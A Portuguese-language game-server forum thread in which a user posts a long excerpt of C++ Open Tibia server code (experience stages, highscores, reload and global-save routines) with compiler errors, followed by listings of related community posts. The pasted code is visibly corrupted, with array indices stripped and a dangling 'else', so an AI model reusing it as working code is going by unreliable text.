    if(xmlStrcmp(root->name, (const xmlChar*)"stages"))
    {
        std::cout << "[Error - Game::loadExperienceStages] Malformed stages file" << std::endl;
        xmlFreeDoc(doc);
        return false;
    }

    int32_t intValue, low = 0, high = 0;
    float floatValue, mul = 1.0f, defStageMultiplier;
    std::string strValue;

    lastStageLevel = 0;
    stages.clear();

    q = root->children;
    while(q)
    {
        if(!xmlStrcmp(q->name, (const xmlChar*)"world"))
        {
            if(readXMLString(q, "id", strValue))
            {
                IntegerVec intVector;
                if(!parseIntegerVec(strValue, intVector) || std::find(intVector.begin(),
                    intVector.end(), g_config.getNumber(ConfigManager::WORLD_ID)) == intVector.end())
                {
                    q = q->next;
                    continue;
                }
            }

            defStageMultiplier = 1.0f;
            if(readXMLFloat(q, "multiplier", floatValue))
                defStageMultiplier = floatValue;

            p = q->children;
            while(p)
            {
                if(!xmlStrcmp(p->name, (const xmlChar*)"stage"))
                {
                    low = 1;
                    if(readXMLInteger(p, "minlevel", intValue) || readXMLInteger(p, "minLevel", intValue))
                        low = intValue;

                    high = 0;
                    if(readXMLInteger(p, "maxlevel", intValue) || readXMLInteger(p, "maxLevel", intValue))
                        high = intValue;
                    else
                        lastStageLevel = low;

                    mul = 1.0f;
                    if(readXMLFloat(p, "multiplier", floatValue))
                        mul = floatValue;

                    mul *= defStageMultiplier;
                    if(lastStageLevel && lastStageLevel == (uint32_t)low)
                        stages[lastStageLevel] = mul;
                    else
                    {
                        for(int32_t i = low; i <= high; i++)
                            stages = mul;
                    }
                }

                p = p->next;
            }
        }

        if(!xmlStrcmp(q->name, (const xmlChar*)"stage"))
        {
            low = 1;
            if(readXMLInteger(q, "minlevel", intValue))
                low = intValue;
            else

            high = 0;
            if(readXMLInteger(q, "maxlevel", intValue))
                high = intValue;
            else
                lastStageLevel = low;

            mul = 1.0f;
            if(readXMLFloat(q, "multiplier", floatValue))
                mul = floatValue;

            if(lastStageLevel && lastStageLevel == (uint32_t)low)
                stages[lastStageLevel] = mul;
            else
            {
                for(int32_t i = low; i <= high; i++)
                    stages = mul;
            }
        }

        q = q->next;
    }

    xmlFreeDoc(doc);
    return true;
}

bool Game::reloadHighscores()
{
    lastHighscoreCheck = time(NULL);
    for(int16_t i = 0; i < 9; ++i)
        highscoreStorage = getHighscore(i);

    return true;
}

void Game::checkHighscores()
{
    reloadHighscores();
    uint32_t tmp = g_config.getNumber(ConfigManager::HIGHSCORES_UPDATETIME) * 60 * 1000;
    if(tmp <= 0)
        return;

    Scheduler::getInstance().addEvent(createSchedulerTask(tmp, boost::bind(&Game::checkHighscores, this)));
}

std::string Game::getHighscoreString(uint16_t skill)
{
    Highscore hs = highscoreStorage[skill];
    std::stringstream ss;
    ss << "Highscore for " << getSkillName(skill) << "\n\nRank Level - Player Name";
    for(uint32_t i = 0; i < hs.size(); i++)
        ss << "\n" << (i + 1) << ".  " << hs.second << "  -  " << hs.first;

    ss << "\n\nLast updated on:\n" << std::ctime(&lastHighscoreCheck);
    return ss.str();
}

Highscore Game::getHighscore(uint16_t skill)
{
    Highscore hs;

    Database* db = Database::getInstance();
    DBResult* result;

    DBQuery query;
    if(skill >= SKILL__MAGLEVEL)
    {
        if(skill == SKILL__MAGLEVEL)
            query << "SELECT `maglevel`, `name` FROM `players` ORDER BY `maglevel` DESC, `manaspent` DESC LIMIT " << g_config.getNumber(ConfigManager::HIGHSCORES_TOP);
        else
            query << "SELECT `level`, `name` FROM `players` ORDER BY `level` DESC, `experience` DESC LIMIT " << g_config.getNumber(ConfigManager::HIGHSCORES_TOP);

        if(!(result = db->storeQuery(query.str())))
            return hs;

        do
        {
            uint32_t level;
            if(skill == SKILL__MAGLEVEL)
                level = result->getDataInt("maglevel");
            else
                level = result->getDataInt("level");

            std::string name = result->getDataString("name");
            if(name.length() > 0)
                hs.push_back(std::make_pair(name, level));
        }
        while(result->next());
        result->free();
    }
    else
    {
        query << "SELECT `player_skills`.`value`, `players`.`name` FROM `player_skills`,`players` WHERE `player_skills`.`skillid`=" << skill << " AND `player_skills`.`player_id`=`players`.`id` ORDER BY `player_skills`.`value` DESC, `player_skills`.`count` DESC LIMIT " << g_config.getNumber(ConfigManager::HIGHSCORES_TOP);
        if(!(result = db->storeQuery(query.str())))
            return hs;

        do
        {
            std::string name = result->getDataString("name");
            if(name.length() > 0)
                hs.push_back(std::make_pair(name, result->getDataInt("value")));
        }
        while(result->next());
        result->free();
    }

    return hs;
}

int32_t Game::getMotdId()
{
    if(lastMotd == g_config.getString(ConfigManager::MOTD))
        return lastMotdId;

    lastMotd = g_config.getString(ConfigManager::MOTD);
    Database* db = Database::getInstance();

    DBQuery query;
    query << "INSERT INTO `server_motd` (`id`, `world_id`, `text`) VALUES (" << ++lastMotdId << ", " << g_config.getNumber(ConfigManager::WORLD_ID) << ", " << db->escapeString(lastMotd) << ")";
    if(db->executeQuery(query.str()))
        return lastMotdId;

    return --lastMotdId;
}

void Game::loadMotd()
{
    Database* db = Database::getInstance();
    DBQuery query;
    query << "SELECT `id`, `text` FROM `server_motd` WHERE `world_id` = " << g_config.getNumber(ConfigManager::WORLD_ID) << " ORDER BY `id` DESC LIMIT 1";

    DBResult* result;
    if(!(result = db->storeQuery(query.str())))
    {
        std::cout << "> ERROR: Failed to load motd!" << std::endl;
        lastMotdId = random_range(5, 500);
        return;
    }

    lastMotdId = result->getDataInt("id");
    lastMotd = result->getDataString("text");
    result->free();
}

void Game::checkPlayersRecord(Player* player)
{
    uint32_t count = getPlayersOnline();
    if(count <= playersRecord)
        return;

    GlobalEventMap recordEvents = g_globalEvents->getEventMap(GLOBAL_EVENT_RECORD);
    for(GlobalEventMap::iterator it = recordEvents.begin(); it != recordEvents.end(); ++it)
        it->second->executeRecord(count, playersRecord, player);

    playersRecord = count;
}

void Game::loadPlayersRecord()
{
    Database* db = Database::getInstance();
    DBQuery query;
    query << "SELECT `record` FROM `server_record` WHERE `world_id` = " << g_config.getNumber(ConfigManager::WORLD_ID) << " ORDER BY `timestamp` DESC LIMIT 1";

    DBResult* result;
    if(!(result = db->storeQuery(query.str())))
    {
        std::cout << "> ERROR: Failed to load players record!" << std::endl;
        return;
    }

    playersRecord = result->getDataInt("record");
    result->free();
}

bool Game::reloadInfo(ReloadInfo_t reload, uint32_t playerId/* = 0*/)
{
    bool done = false;
    switch(reload)
    {
        case RELOAD_ACTIONS:
        {
            if(g_actions->reload())
                done = true;
            else
                std::cout << "[Error - Game::reloadInfo] Failed to reload actions." << std::endl;

            break;
        }

        case RELOAD_CHAT:
        {
            if(g_chat.reload())
                done = true;
            else
                std::cout << "[Error - Game::reloadInfo] Failed to reload chat." << std::endl;

            break;
        }

        case RELOAD_CONFIG:
        {
            if(g_config.reload())
                done = true;
            else
                std::cout << "[Error - Game::reloadInfo] Failed to reload config." << std::endl;

            break;
        }

        case RELOAD_CREATUREEVENTS:
        {
            if(g_creatureEvents->reload())
                done = true;
            else
                std::cout << "[Error - Game::reloadInfo] Failed to reload creature events." << std::endl;

            break;
        }

        case RELOAD_GAMESERVERS:
        {
            #ifdef __LOGIN_SERVER__
            if(GameServers::getInstance()->reload())
                done = true;
            else
                std::cout << "[Error - Game::reloadInfo] Failed to reload game servers." << std::endl;

            #endif
            break;
        }

        case RELOAD_GLOBALEVENTS:
        {
            if(g_globalEvents->reload())
                done = true;
            else
                std::cout << "[Error - Game::reloadInfo] Failed to reload global events." << std::endl;

            break;
        }

        case RELOAD_GROUPS:
        {
            //if(Groups::getInstance()->reload())
                done = true;
            //else
            //    std::cout << "[Error - Game::reloadInfo] Failed to reload groups." << std::endl;

            break;
        }

        case RELOAD_HIGHSCORES:
        {
            if(reloadHighscores())
                done = true;
            else
                std::cout << "[Error - Game::reloadInfo] Failed to reload highscores." << std::endl;

            break;
        }

        case RELOAD_HOUSEPRICES:
        {
            if(Houses::getInstance()->reloadPrices())
                done = true;
            else
                std::cout << "[Error - Game::reloadInfo] Failed to reload house prices." << std::endl;

            break;
        }

        case RELOAD_ITEMS:
        {
            //TODO
            std::cout << "[Notice - Game::reloadInfo] Reload type does not work." << std::endl;
            done = true;
            break;
        }

        case RELOAD_MODS:
        {
            std::cout << ">> Reloading mods..." << std::endl;
            if(ScriptingManager::getInstance()->reloadMods())
                done = true;
            else
                std::cout << "[Error - Game::reloadInfo] Failed to reload mods." << std::endl;

            break;
        }

        case RELOAD_MONSTERS:
        {
            if(g_monsters.reload())
                done = true;
            else
                std::cout << "[Error - Game::reloadInfo] Failed to reload monsters." << std::endl;

            break;
        }

        case RELOAD_MOVEEVENTS:
        {
            if(g_moveEvents->reload())
                done = true;
            else
                std::cout << "[Error - Game::reloadInfo] Failed to reload move events." << std::endl;

            break;
        }

        case RELOAD_NPCS:
        {
            g_npcs.reload();
            done = true;
            break;
        }

        case RELOAD_OUTFITS:
        {
            //TODO
            std::cout << "[Notice - Game::reloadInfo] Reload type does not work." << std::endl;
            done = true;
            break;
        }

        case RELOAD_QUESTS:
        {
            if(Quests::getInstance()->reload())
                done = true;
            else
                std::cout << "[Error - Game::reloadInfo] Failed to reload quests." << std::endl;

            break;
        }

        case RELOAD_RAIDS:
        {
            if(!Raids::getInstance()->reload())
                std::cout << "[Error - Game::reloadInfo] Failed to reload raids." << std::endl;
            else if(!Raids::getInstance()->startup())
                std::cout << "[Error - Game::reloadInfo] Failed to startup raids when reloading." << std::endl;
            else
                done = true;

            break;
        }

        case RELOAD_SPELLS:
        {
            if(!g_spells->reload())
                std::cout << "[Error - Game::reloadInfo] Failed to reload spells." << std::endl;
            else if(!g_monsters.reload())
                std::cout << "[Error - Game::reloadInfo] Failed to reload monsters when reloading spells." << std::endl;
            else
                done = true;

            break;
        }

        case RELOAD_STAGES:
        {
            if(loadExperienceStages())
                done = true;
            else
                std::cout << "[Error - Game::reloadInfo] Failed to reload stages." << std::endl;

            break;
        }

        case RELOAD_TALKACTIONS:
        {
            if(g_talkActions->reload())
                done = true;
            else
                std::cout << "[Error - Game::reloadInfo] Failed to reload talk actions." << std::endl;

            break;
        }

        case RELOAD_VOCATIONS:
        {
            //if(Vocations::getInstance()->reload())
                done = true;
            //else
            //    std::cout << "[Notice - Game::reloadInfo] Reload type does not work." << std::endl;

            break;
        }

        case RELOAD_WEAPONS:
        {
            //TODO
            std::cout << "[Notice - Game::reloadInfo] Reload type does not work." << std::endl;
            done = true;
            break;
        }

        case RELOAD_ALL:
        {
            done = true;
            for(uint8_t i = RELOAD_FIRST; i <= RELOAD_LAST; i++)
            {
                if(!reloadInfo((ReloadInfo_t)i) && done)
                    done = false;
            }

            break;
        }

        default:
        {
            std::cout << "[Warning - Game::reloadInfo] Reload type not found." << std::endl;
            break;
        }
    }

    if(!playerId)
        return done;

    Player* player = getPlayerByID(playerId);
    if(!player || player->isRemoved())
        return done;

    if(done)
    {
        player->sendTextMessage(MSG_STATUS_CONSOLE_BLUE, "Reloaded successfully.");
        return true;
    }

    player->sendTextMessage(MSG_STATUS_CONSOLE_BLUE, "Failed to reload.");
    return false;
}

void Game::prepareGlobalSave()
{
    if(!globalSaveMessage[0])
    {
        setGameState(GAME_STATE_CLOSING);
        globalSaveMessage[0] = true;

        broadcastMessage("Server is going down for a global save within 5 minutes. Please logout.", MSG_STATUS_WARNING);
        Scheduler::getInstance().addEvent(createSchedulerTask(120000, boost::bind(&Game::prepareGlobalSave, this)));
    }
    else if(!globalSaveMessage[1])
    {
        globalSaveMessage[1] = true;
        broadcastMessage("Server is going down for a global save within 3 minutes. Please logout.", MSG_STATUS_WARNING);
        Scheduler::getInstance().addEvent(createSchedulerTask(120000, boost::bind(&Game::prepareGlobalSave, this)));
    }
    else if(!globalSaveMessage[2])
    {
        globalSaveMessage[2] = true;
        broadcastMessage("Server is going down for a global save in one minute, please logout!", MSG_STATUS_WARNING);
        Scheduler::getInstance().addEvent(createSchedulerTask(60000, boost::bind(&Game::prepareGlobalSave, this)));
    }
    else
        globalSave();
}

void Game::globalSave()
{
    if(g_config.getBool(ConfigManager::SHUTDOWN_AT_GLOBALSAVE))
    {
        //shutdown server
        Dispatcher::getInstance().addTask(createTask(boost::bind(&Game::setGameState, this, GAME_STATE_SHUTDOWN)));
        return;
    }

    //close server
    Dispatcher::getInstance().addTask(createTask(boost::bind(&Game::setGameState, this, GAME_STATE_CLOSED)));
    //clean map if configured to
    if(g_config.getBool(ConfigManager::CLEAN_MAP_AT_GLOBALSAVE))
    {
        uint32_t dummy;
        cleanMap(dummy);
    }

    //pay houses
    Houses::getInstance()->payHouses();
    //clear temporial and expired bans
    IOBan::getInstance()->clearTemporials();
    //remove premium days globally if configured to
    if(g_config.getBool(ConfigManager::REMOVE_PREMIUM_ON_INIT))
        IOLoginData::getInstance()->updatePremiumDays();

    //reload everything
    reloadInfo(RELOAD_ALL);
    //reset variables
    for(int16_t i = 0; i < 3; i++)
        setGlobalSaveMessage(i, false);

    //prepare for next global save after 24 hours
    Scheduler::getInstance().addEvent(createSchedulerTask(86100000, boost::bind(&Game::prepareGlobalSave, this)));
    //open server
    Dispatcher::getInstance().addTask(createTask(boost::bind(&Game::setGameState, this, GAME_STATE_NORMAL)));
}

void Game::shutdown()
{
    std::cout << "Preparing";
    Scheduler::getInstance().shutdown();
    std::cout << " to";
    Dispatcher::getInstance().shutdown();
    std::cout << " shutdown";
    Spawns::getInstance()->clear();
    std::cout << " the";
    Raids::getInstance()->clear();
    std::cout << " server";
    cleanup();
    std::cout << "- done." << std::endl;
    if(services)
        services->stop();
#if defined(WINDOWS) && !defined(__CONSOLE__)

    exit(1);
#endif
}

void Game::cleanup()
{
    //free memory
    for(std::vector<Thing*>::iterator it = releaseThings.begin(); it != releaseThings.end(); ++it)
        (*it)->unRef();

    releaseThings.clear();
    for(DecayList::iterator it = toDecayItems.begin(); it != toDecayItems.end(); ++it)
    {
        int32_t dur = (*it)->getDuration();
        if(dur >= EVENT_DECAYINTERVAL * EVENT_DECAYBUCKETS)
            decayItems[lastBucket].push_back(*it);
        else
            decayItems[(lastBucket + 1 + (*it)->getDuration() / 1000) % EVENT_DECAYBUCKETS].push_back(*it);
    }

    toDecayItems.clear();
}

void Game::freeThing(Thing* thing)
{
    releaseThings.push_back(thing);
}

void Game::showHotkeyUseMessage(Player* player, Item* item)
{
    int32_t subType = -1;
    if(item->hasSubType() && !item->hasCharges())
        subType = item->getSubType();

    const ItemType& it = Item::items[item->getID()];
    uint32_t count = player->__getItemTypeCount(item->getID(), subType, false);

    char buffer[40 + it.name.size()];
    if(count == 1)
        sprintf(buffer, "Using the last %s...", it.name.c_str());
    else
        sprintf(buffer, "Using one of %d %s...", count, it.pluralName.c_str());

}
 

Erro na hora de compilar.

Citar

Compilador: Default compiler
Building Makefile: "C:\Users\micael\Documents\Projetos\serve teste\Base teste\[SOURCE] PokeZR By Kyyah\dev-cpp\Makefile.win"
Executando  make...
mingw32-make -f "C:\Users\micael\Documents\Projetos\serve teste\Base teste\[SOURCE] PokeZR By Kyyah\dev-cpp\Makefile.win" all
g++.exe -c ../game.cpp -o obj//game.o -I"C:/Users/micael/Documents/Projetos/serve teste/Base teste/Stian's Repack Dev-Cpp 0.2, 64bit/include"  -D__USE_MYSQL__ -D__USE_SQLITE__ -D__ENABLE_SERVER_DIAGNOSTIC__   -fexpensive-optimizations -O1
../game.cpp:4899: error: 'game' has not been declared
../game.cpp: In function 'void parsePlayereExtendedOpcode(uint32_t, uint8_t, const std::string&)':
../game.cpp:4901: error: 'getPlayerByID' was not declared in this scope
../game.cpp:4905: error: expected ',' or ';' before 'for'
../game.cpp: At global scope:
../game.cpp:4909: error: expected unqualified-id before '{' token
mingw32-make: *** [obj//game.o] Error 1
Execução terminada
 

 

 

Link para o post
Compartilhar em outros sites

Participe da conversa

Você pode postar agora e se cadastrar mais tarde. Se você tem uma conta, faça o login para postar com sua conta.

Visitante
Responder

×   Você colou conteúdo com formatação.   Remover formatação

  Apenas 75 emojis são permitidos.

×   Seu link foi automaticamente incorporado.   Mostrar como link

×   Seu conteúdo anterior foi restaurado.   Limpar o editor

×   Não é possível colar imagens diretamente. Carregar ou inserir imagens do URL.

  • Quem Está Navegando   0 membros estão online

    Nenhum usuário registrado visualizando esta página.


  • Conteúdo Similar

    • Por Budrox
      ola! venho apresentar meu protejo e ouvir a opinião de
      vocês estou trabalhando a alguns meses nessas sprites,
      jogariam um protejo assim, penso em fazer o jogo em
      outras engines mas faria mais sentido se fosse um
      protejo online.

    • Por GamerGoiano
      Provavelmente funciona com os outros jogos do quilante, basta substituir a pasta data na pasta do servidor e substituir os arquivos do cliente na pasta otclient/data/things/860
      Eu não tenho créditos sobre o projeto, estou apenas postando aqui porque ja é de dominio público porém em todos os tópicos na internet o projeto está muito desatualizado
      Este aqui está configurado pra por online no pc.
       

      Download: (TFS 04 860 + OTCLIENT "Ultima versão x64", Htdocs "O site" e o Banco de dados Compativel.
      https://www.mediafire.com/file/bmponjci62txbxd/TIBIA+GTA+ARRUMADO.rar/file

      Scan:
      https://www.virustotal.com/gui/file/b6236579ad11201f3c01899a218f6ca8ef8e645cf3881f5de2af46a04837085d?nocache=1
    • Por Tyren
      Fala galera, tranquilos?
      Recentemente comecei a desenvolver um servidor de Pokémon (famoso poketibia) porém ai me veio a duvida, ainda existe "players" interessados nisso?
      Pois eu vejo vários projetos bons morrerem na praia ou nem saírem do papel e isso meio que da uma desanimada.
      Na concepção de vocês, o que falta para um bom poketibia? Mapa? Sistemas? Voltar as antigas e lançar um servidor Old School?
    • Por TestAccount
      Bem vindos a SwampSoldiers, um ot alternativo único de sapos e minhocas! Achou estranho? Eu também, mas comecei a jogar e viciei ?

      Website
      SwampSoldier - Play to earn (https://www.swampsoldiers.com/index)

      Social Media
      Twitter: https://twitter.com/SoldiersSwamp
      Discord: Join the SwampSoldiers | ? Vs ? Discord Server! (https://discord.gg/qc9wfMQ8vK)
      Youtube: https://www.youtube.com/c/SwampSoldiers
      Facebook: SwampSoldier (https://www.facebook.com/profile.php?id=100087871800250)
      Instagram: Swamp Soldiers (@swampsoldiers) • Instagram photos and videos (https://www.instagram.com/swampsoldiers/)

      =================================================================================================
      SwampSoldiers é um jogo blockchain gratuito, onde você é o verdadeiro dono de seus ativos e pode vendê-los facilmente a outros jogadores por dinheiro real.

      Características:
      Músicas de fundo e efeitos de som; Mapa unico e original; 6 diferentes classes e 2 facções; NPCs animados; Spells unicos com som; Mercado p2p; Quests únicas; 0% de perda de exp até o lvl 5; Sistema de crafting; Sistema de casas e ilhas particulares; Sistema de pet e autoloot; World boss; Tower defense mini-game; Battle royale sendo desenvolvido;  

       

       

       

       

       

    • Por MatteusDeli
      Nesse tópico você irá aprender a diferença entre ItemID, ActionID e UniqueID na criação de scripts.
       
      Primeiramente vamos começar com o ItemID, imagine que você está criando um simples script que o player pode ter acesso a uma área VIP, só que para ele entrar, primeiro precisará passar por um tile especial que possui o ID 471, até aqui tudo bem, só que qualquer player do servidor irá ter acesso também, já que não possui nenhuma restrição.
       
      Como poderíamos resolver isso?
       
      É aqui que entra a função da ActionID, com ela podemos dizer que os tiles que tiverem o valor 1000 no atributo ActionID, serão os tiles referentes a área VIP. Agora temos uma maneira de diferenciar os tiles comuns dos que são VIPs, veja como ficaria:
       

      (tiles sem as ActionIDs no valor de 1000)
       
      Repare que os 3 tiles tem apenas o atributo ItemID: [471]. Todos os players poderiam passar sem problemas… Caso você use apenas esse tipo de tile para as suas áreas VIPs então não tem problema, agora se você usa esses mesmos tiles para outras finalidades, então você precisará recorrer a ActionID, para que assim consiga diferenciá-los.
       
      Vamos adicionar as ActionIDs então:
       

      (tiles com as ActionIDs adicionados no valor de 1000)
       
      Pronto, agora apenas esse tiles terão a função de controlar a entrada para a área VIP!
       
      Bom, então você deve estar se perguntando, aonde que o UniqueID entra nessa história?
       
      O UniqueID é parecido com a ActionID com apenas uma diferença. O valor que você define para ele deve ser único para o servidor inteiro, caso ele se repita aparecerá um aviso na sua distro, mais ou menos como este…
       

       
      Repare quantos UniqueIDs duplicados existem, isso é ruim porque quanto mais tiver mais tempo demorará para o servidor iniciar, entre outras coisas como conflitos de scripts.
       
      Concluindo…
       
      O ItemID é usado quando você quer que todos os itens com esse ID façam uma ação, por exemplo a fishing rod, qualquer player pode comprar uma no NPC e começar a pescar.
       
      A ActionID é usado geralmente quando você quer diferenciar os mesmos itens um dos outros. Eu tenho 2 crystal rings só que apenas um deles vai me curar 500 de vida quando usá-lo.
       
      O UniqueID é quando você quer definir um ID único para um determinado item e só terá apenas um dele no servidor, um exemplo seria uma estátua que vai dar ao player um determinado item e só existirá somente uma dela no jogo.
       
      Tentei ser o mais breve e direto sobre esse assunto, espero que tenha ficado claro… Agora é só praticar!
×
×
  • Criar Novo...

Informação Importante

Confirmação de Termo